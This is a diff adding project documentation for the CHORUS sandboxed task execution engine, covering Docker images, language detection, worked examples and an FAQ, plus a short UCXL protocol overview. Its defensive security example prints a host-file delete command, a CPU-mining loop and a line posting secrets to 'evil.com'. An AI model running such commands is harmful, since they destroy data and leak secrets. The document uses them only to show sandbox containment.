well-tested │ +│ Portability │ ⭐⭐⭐⭐⭐ Works anywhere Docker runs │ +└──────────────────────────────────────────────────────────────┘ +``` + +--- + +## Available Development Environments + +All images are publicly available on Docker Hub: `docker.io/anthonyrawlins/chorus-*` + +### Image Catalog + +| Image | Base Size | Tools Included | Use Cases | +|-------|-----------|----------------|-----------| +| **chorus-base** | 643MB | git, curl, wget, vim, jq, build-essential, netcat, zip/tar | Shell scripts, generic tasks, text processing | +| **chorus-rust-dev** | 2.42GB | rustc 1.77+, cargo, clippy, rustfmt, rust-analyzer, ripgrep, fd-find, bat | Rust compilation, cargo builds, clippy linting, formatting | +| **chorus-go-dev** | 1GB | go1.22, gopls, delve, staticcheck, golangci-lint | Go builds, go mod operations, testing, linting | +| **chorus-python-dev** | 1.07GB | python3.11, uv, pip-tools, ruff, black, mypy, pytest, pylint, ipython | Python scripts, pip installs, testing, type checking | +| **chorus-node-dev** | 982MB | node20, npm, pnpm, yarn, typescript, ts-node, eslint, prettier, nodemon | npm builds, TypeScript compilation, testing, linting | +| **chorus-java-dev** | 1.3GB | openjdk-17, maven, gradle | Maven/Gradle builds, Java compilation, JUnit testing | +| **chorus-cpp-dev** | 1.63GB | gcc, g++, clang, cmake, ninja, gdb, valgrind, doxygen | C/C++ compilation, CMake builds, debugging, profiling | + +### Workspace Structure (Standardized Across All Images) + +``` +/workspace/ +├── input/ Read-only source code, task inputs +│ ├── src/ +│ ├── README.md +│ └── Cargo.toml +│ +├── data/ Working directory for builds and temporary files +│ ├── target/ (Rust build artifacts) +│ ├── node_modules/ (Node dependencies) +│ └── .cache/ (Various caches) +│ +└── output/ Final deliverables and artifacts + ├── myapp (compiled binary) + ├── test-results.xml + └── coverage.html +``` + +### Environment Variables (All Images) + +```bash +WORKSPACE_ROOT=/workspace +WORKSPACE_INPUT=/workspace/input +WORKSPACE_DATA=/workspace/data +WORKSPACE_OUTPUT=/workspace/output +``` + +### Example: Using Each Image + +**Rust Development:** +```bash +docker run --rm -v $(pwd):/workspace/input:ro \ + anthonyrawlins/chorus-rust-dev:latest \ + bash -c "cd /workspace/input && cargo build --release" +``` + +**Python Script:** +```bash +docker run --rm -v $(pwd):/workspace/input:ro \ + anthonyrawlins/chorus-python-dev:latest \ + bash -c "cd /workspace/input && python3 main.py" +``` + +**Node.js Application:** +```bash +docker run --rm -v $(pwd):/workspace/input:ro \ + anthonyrawlins/chorus-node-dev:latest \ + bash -c "cd /workspace/input && npm install && npm test" +``` + +### Language Detection Algorithm + +```go +// Priority 1: Explicit (highest confidence) +{ + "context": { + "language": "rust" // ← Directly specified + } +} +// Result: chorus-rust-dev + +// Priority 2: Repository URL patterns +{ + "context": { + "repository_url": "github.com/user/my-rust-app" // ← "rust" in name + } +} +// Result: chorus-rust-dev + +// Priority 3: Description keywords +{ + "description": "Fix compilation error in Cargo.toml" // ← "Cargo.toml" detected +} +// Result: chorus-rust-dev (high-priority keyword match) + +// Priority 4: Generic mentions +{ + "description": "Update the rust version" // ← Generic "rust" mention +} +// Result: chorus-rust-dev (medium-priority match) + +// Fallback +{ + "description": "Process this JSON file" // ← No language detected +} +// Result: chorus-base (fallback) +``` + +### AI Model Awareness (New in v2.0) + +AI models now receive image information in their system prompt via **Rule E: Execution Environments**: + +```markdown +Available Images (Docker Hub: anthonyrawlins/chorus-*): + +| Language/Stack | Image | Pre-installed Tools | Use When | +|----------------|-------|---------------------|----------| +| **Rust** | chorus-rust-dev | rustc, cargo, clippy | Rust compilation... | +``` + +This allows AI to: +- Recommend appropriate environments +- Explicitly set `context.language` in responses +- Explain tool availability to users +- Plan multi-step execution with correct images + +--- + +## Real-World Examples + +### Example 1: Fix Rust Compilation Error + +**User Request:** +```json +{ + "task_id": "FIX-001", + "description": "Fix the compilation error in src/main.rs", + "context": { + "repository_url": "https://github.com/user/my-rust-app", + "language": "rust" + } +} +``` + +**Execution Flow:** + +``` +1. Language Detection + ├─ Explicit: context.language = "rust" ✅ + ├─ Repository: "rust-app" detected ✅ + └─ Selected: anthonyrawlins/chorus-rust-dev:latest + +2. Sandbox Initialization (850ms) + ├─ Pull image (0ms - cached) + ├─ Create container (300ms) + ├─ Start container (150ms) + └─ Configure workspace (400ms) + +3. AI Analysis (5s) + ├─ Read src/main.rs + ├─ Identify error: "unused variable `x`" + └─ Generate fix + +4. Apply Fix (50ms) + ├─ WriteFile(src/main.rs, fixed_content) + └─ Verify with syntax check + +5. Compile & Test (45s) + ├─ Command: cargo build --release + ├─ stdout: "Compiling myapp v0.1.0..." + ├─ Command: cargo test + └─ Exit code: 0 ✅ + +6. Collect Artifacts (200ms) + ├─ Binary: target/release/myapp (4.2MB) + ├─ Test report: target/test-results.xml + └─ Coverage: target/coverage.html + +7. Cleanup (150ms) + ├─ Stop container + └─ Remove container + +Total Time: 51.25 seconds +Result: Success ✅ +``` + +**Resource Usage:** +``` +CPU: 1.8 cores average (90% of 2-core limit) +Memory: 1.6GB peak (80% of 2GB limit) +Disk I/O: 450MB read, 180MB written +Network: 0 bytes (isolated) +Processes: 12 peak (12% of 100 limit) +``` + +### Example 2: Python Data Analysis + +**User Request:** +```json +{ + "task_id": "ANALYZE-001", + "description": "Run pytest on the data analysis pipeline", + "context": { + "repository_url": "https://github.com/user/data-pipeline" + } +} +``` + +**Execution Flow:** + +``` +1. Language Detection + ├─ Repository: "data-pipeline" (no lang hint) + ├─ Description: "pytest" detected ✅ + └─ Selected: anthonyrawlins/chorus-python-dev:latest + +2. Setup Dependencies (15s) + ├─ Command: uv sync + ├─ Installs: pandas, numpy, pytest, pytest-cov + └─ Cache: /workspace/data/.cache/uv/ + +3. Run Tests (8s) + ├─ Command: uv run pytest --cov=src --cov-report=html + ├─ stdout: "test_pipeline.py::test_transform PASSED" + ├─ stdout: "test_pipeline.py::test_analyze PASSED" + ├─ Coverage: 94% + └─ Exit code: 0 ✅ + +4. Artifacts + ├─ HTML report: htmlcov/index.html + ├─ XML report: coverage.xml + └─ Pytest cache: .pytest_cache/ + +Total Time: 24.8 seconds +Result: Success ✅ (94% coverage) +``` + +### Example 3: Multi-Language Monorepo + +**User Request:** +```json +{ + "task_id": "BUILD-001", + "description": "Build the frontend and backend", + "context": { + "repository_url": "https://github.com/user/fullstack-app" + } +} +``` + +**Execution Flow (Sequential):** + +``` +Task 1: Build Backend (Go) +───────────────────────────── +1. Detect: "go.mod" found → go-dev +2. Sandbox: chorus-go-dev container +3. Commands: + ├─ go mod download + ├─ go build -o backend ./cmd/server + └─ go test ./... +4. Result: backend binary (12MB) +5. Cleanup & save artifacts + +Task 2: Build Frontend (Node.js) +───────────────────────────────── +1. Detect: "package.json" found → node-dev +2. Sandbox: chorus-node-dev container +3. Commands: + ├─ npm install + ├─ npm run build + └─ npm test +4. Result: dist/ folder (8MB) +5. Cleanup & save artifacts + +Combined Artifacts: +├─ backend (12MB) +└─ frontend/dist/ (8MB) + +Total Time: 89 seconds (parallel: 52s) +Result: Success ✅ +``` + +### Example 4: Security Scenario - Malicious Code Blocked + +**Malicious Request (AI compromised or buggy):** +```json +{ + "task_id": "EVIL-001", + "description": "Clean up old files", + "context": {} +} +``` + +**AI Generates Malicious Code:** +```python +# Attempt 1: Delete host files +import os +os.system("rm -rf /host/important_data") + +# Attempt 2: Cryptocurrency miner +while True: + compute_hash() # Infinite CPU loop + +# Attempt 3: Exfiltrate data +import requests +requests.post("http://evil.com", data=secrets) +``` + +**What Actually Happens:** + +``` +Attempt 1: Delete Host Files +───────────────────────────── +Command: rm -rf /host/important_data +Result: ❌ Path not found +Reason: Mount namespace isolation + /host doesn't exist in container + Even if it did, read-only root FS prevents deletion + +Attempt 2: CPU Mining +───────────────────── +Command: python3 mine.py +Result: ⚠️ Runs but limited +Reason: CPU limit = 2 cores (can't consume all host CPU) + Timeout = 5 minutes (killed automatically) + Host system remains responsive + +Attempt 3: Network Exfiltration +──────────────────────────────── +Command: python3 -c "import requests; requests.post(...)" +Result: ❌ Network unreachable +Reason: NetworkMode = "none" + No network interfaces available + Can't resolve DNS or create connections + +Final Outcome: +✅ Host system completely safe +✅ Container killed after timeout +✅ All attempts logged for audit +✅ No persistent damage +``` + +--- + +## Troubleshooting & FAQ + +### Common Issues + +**1. "Image not found" Error** + +```bash +Error: Failed to pull image: manifest unknown +``` + +**Solution:** +```bash +# Verify image name +docker pull anthonyrawlins/chorus-rust-dev:latest + +# Check Docker Hub manually +# https://hub.docker.com/r/anthonyrawlins/chorus-rust-dev + +# If still failing, check internet connection +ping hub.docker.com +``` + +**2. Container Startup Timeout** + +```bash +Error: Context deadline exceeded while starting container +``` + +**Solution:** +```bash +# Check Docker daemon status +systemctl status docker + +# Check system resources +docker system df +df -h + +# Clean up old containers/images +docker system prune -a + +# Increase timeout in config +timeout: 10 * time.Minute // Default: 5 minutes +``` + +**3. Out of Memory Errors** + +```bash +Error: Container killed by OOM killer +``` + +**Solution:** +```go +// Increase memory limit in SandboxConfig +Resources: ResourceLimits{ + MemoryLimit: 4 * 1024 * 1024 * 1024, // 4GB instead of 2GB +} +``` + +**4. Permission Denied Writing Files** + +```bash +Error: Permission denied: /workspace/output/myapp +``` + +**Solution:** +```bash +# Container runs as UID 1000 (user: chorus) +# Ensure host directories have correct permissions + +# On host: +sudo chown -R 1000:1000 /path/to/workspace/output +# Or make world-writable (less secure): +chmod 777 /path/to/workspace/output +``` + +### FAQ + +**Q: Can the AI access my files?** + +A: No. The container has its own isolated filesystem. You explicitly choose which files to mount via `Repository.LocalPath`, and even those are mounted read-only by default. + +**Q: What if the AI generates malicious code?** + +A: The security layers prevent damage: +- No network access (can't exfiltrate data) +- No host file access (can't modify your system) +- Resource limits (can't DoS your machine) +- Read-only root (can't install malware) +- Non-root user (can't escalate privileges) + +**Q: How much disk space do the images use?** + +A: Total: ~9GB for all 7 images with layer sharing: +- Base layers are shared across images +- Only language-specific layers are unique +- Example: rust-dev = 643MB base + 1.8GB Rust tools + +**Q: Can I use custom images?** + +A: Yes! Specify in `SandboxConfig`: +```go +config := &SandboxConfig{ + Image: "mycompany/custom-rust:latest", +} +``` + +**Q: What happens if a command hangs forever?** + +A: Automatic timeout: +- Default: 5 minutes per command +- Configurable via `Command.Timeout` +- Container is forcibly stopped after timeout +- Resources are cleaned up automatically + +**Q: Can containers communicate with each other?** + +A: No by default (`NetworkMode: "none"`). If needed for multi-service testing, you can configure a custom Docker network, but this should be used cautiously. + +**Q: How do I debug issues inside the container?** + +A: Several options: +```go +// 1. Keep container alive for manual inspection +config.CleanupDelay = 10 * time.Minute + +// 2. Execute debug commands +sandbox.ExecuteCommand(ctx, &Command{ + Executable: "ls", + Args: []string{"-la", "/workspace/data"}, +}) + +// 3. Read log files +logContent, _ := sandbox.ReadFile(ctx, "/workspace/data/build.log") +``` + +**Q: Performance: Should I pre-pull images?** + +A: Highly recommended for production: +```bash +# On each cluster node +docker pull anthonyrawlins/chorus-rust-dev:latest +docker pull anthonyrawlins/chorus-go-dev:latest +docker pull anthonyrawlins/chorus-python-dev:latest +docker pull anthonyrawlins/chorus-node-dev:latest +docker pull anthonyrawlins/chorus-java-dev:latest +docker pull anthonyrawlins/chorus-cpp-dev:latest +docker pull anthonyrawlins/chorus-base:latest +``` + +This eliminates 30-120s pull time on first use. + +**Q: Can I run multiple tasks in parallel?** + +A: Yes! Each task gets its own isolated container: +```go +// Safe to run concurrently +go engine.ExecuteTask(ctx, rustTask) +go engine.ExecuteTask(ctx, pythonTask) +go engine.ExecuteTask(ctx, nodeTask) +``` + +**Q: What's the overhead compared to native execution?** + +A: Minimal after warmup: +- First command: +400-850ms (container startup) +- Subsequent commands: +10-15ms per command +- Memory: +150MB overhead +- CPU: +5% overhead + +For long-running builds (minutes), overhead is negligible. + +**Q: How do I update tool versions in images?** + +A: Images are versioned and immutable. To update: +1. Build new image version (e.g., `chorus-rust-dev:1.1.0`) +2. Push to Docker Hub +3. Update `ImageVersion` constant in `images.go` +4. Old versions remain available for reproducibility + +--- + +## Summary: Why This Approach is Revolutionary + +### The Promise + +CHORUS Task Execution Engine delivers on a critical promise: **AI agents can write, build, test, and execute code safely at scale.** + +### Key Innovations + +1. **Zero Configuration Security** + - No SSH keys, no passwords, no firewall rules + - Security by default, not as an afterthought + +2. **Multi-Language Support Out-of-the-Box** + - 7 pre-configured environments + - Automatic detection and selection + - Consistent workspace structure + +3. **API-First Design** + - Direct Docker SDK communication + - No subprocess spawning + - Structured error handling + +4. **Resource Predictability** + - Guaranteed CPU, memory, disk limits + - No "noisy neighbor" problems + - Fair scheduling across tasks + +5. **Auditability** + - Every command logged + - Complete resource tracking + - Reproducible execution history + +### The Bottom Line + +Traditional approaches force you to choose between: +- **Security** (complex SSH, VMs, permission systems) +- **Performance** (native execution, no isolation) +- **Simplicity** (manual tool installation, dependency hell) + +**CHORUS gives you all three.** + +--- + +## References + +- **Source Code**: `/home/tony/chorus/project-queues/active/CHORUS/pkg/execution/` +- **Docker SDK**: https://pkg.go.dev/github.com/docker/docker +- **Image Repository**: https://gitea.chorus.services/tony/chorus-dev-images +- **Docker Hub**: https://hub.docker.com/r/anthonyrawlins/ +- **Security References**: + - Linux Namespaces: https://man7.org/linux/man-pages/man7/namespaces.7.html + - Seccomp: https://docs.docker.com/engine/security/seccomp/ + - AppArmor: https://docs.docker.com/engine/security/apparmor/ + +--- + +**Document Version**: 1.0 +**Last Updated**: 2025-09-30 +**Author**: CHORUS Development Team +**Maintained By**: Tony Rawlins (tony@chorus.services) diff --git a/UCXL.md b/UCXL.md new file mode 100644 index 0000000..1fc55e7 --- /dev/null +++ b/UCXL.md @@ -0,0 +1,23 @@ +UCXL, or the Unified Context eXchange and Linking, is a comprehensive protocol architecture designed for addressing, managing, and sharing semantic contextual resources within its ecosystem. It establishes a 1:1 mapping between traditional file system structures and contextual metadata, which facilitates knowledge preservation, distributed AI development, and complex context management. UCXL functions as a layered protocol, supporting context messaging, transport, and semantic context sharing through components such as validators and browsers that aid in context resolution and organization. + +The core purpose of UCXL is to enable semantic addressability and logical content organization within a distributed system. It provides a time-aware address space that supports temporal navigation and concept mapping, allowing for precise retrieval and management of context data. UCXL can store and organize data, decisions, and reasoning in organization-based structures, ensuring the persistence and traceability of complex semantic information. + +Key technical features include an address format that uses URI-like schemes (e.g., `ucxl://agent:role@project:task/#/path`) with components like agent, role, project, task, temporal segment, and resource path. It also supports operations such as GET, PUT, POST, DELETE, NAVIGATE, QUERY, and SUBSCRIBE within the UCXI interface, enabling robust context management and dynamic interaction. The protocol is integral to the broader ecosystem, working in conjunction with components like UCXL Browser, Validator, Address Parser, and the supporting infrastructure of the UCXL Foundation, all aimed at enhancing knowledge preservation, decision tracking, and semantic interoperability in distributed AI environments. + +**Scope-aware access:** UCXL addresses bind **agent/role → project/task → temporal slice → path**, so policy can be evaluated _at resolution time_ rather than after retrieval. This is the backbone of our least-privilege, time-bounded lookups. + +**Contracts via addresses.** Teams publish stable UCXL addresses for consuming systems; producers can evolve internals without leaking. Temporal operators (`~~`, `^^`) let consumers pin decisions without chasing moving targets. + + + +**References:** + +- [KG] 1 (from Entity: UCXL) +- [DC] ucxl_protocol.md + +## TODO + +- Spec + validator: Publish current spec references and ensure the validator enforces them across languages. +- Syntax tools: Build out `ucxl-syntax-plugin` (currently empty) and align behavior with the VSCode extension. +- Governance: Define address lifecycle/contracts (examples for producers/consumers) and cross-module examples. +- Conformance: Create a test harness that runs against RUSTLE, CHORUS, WHOOSH, and the validator for end-to-end checks.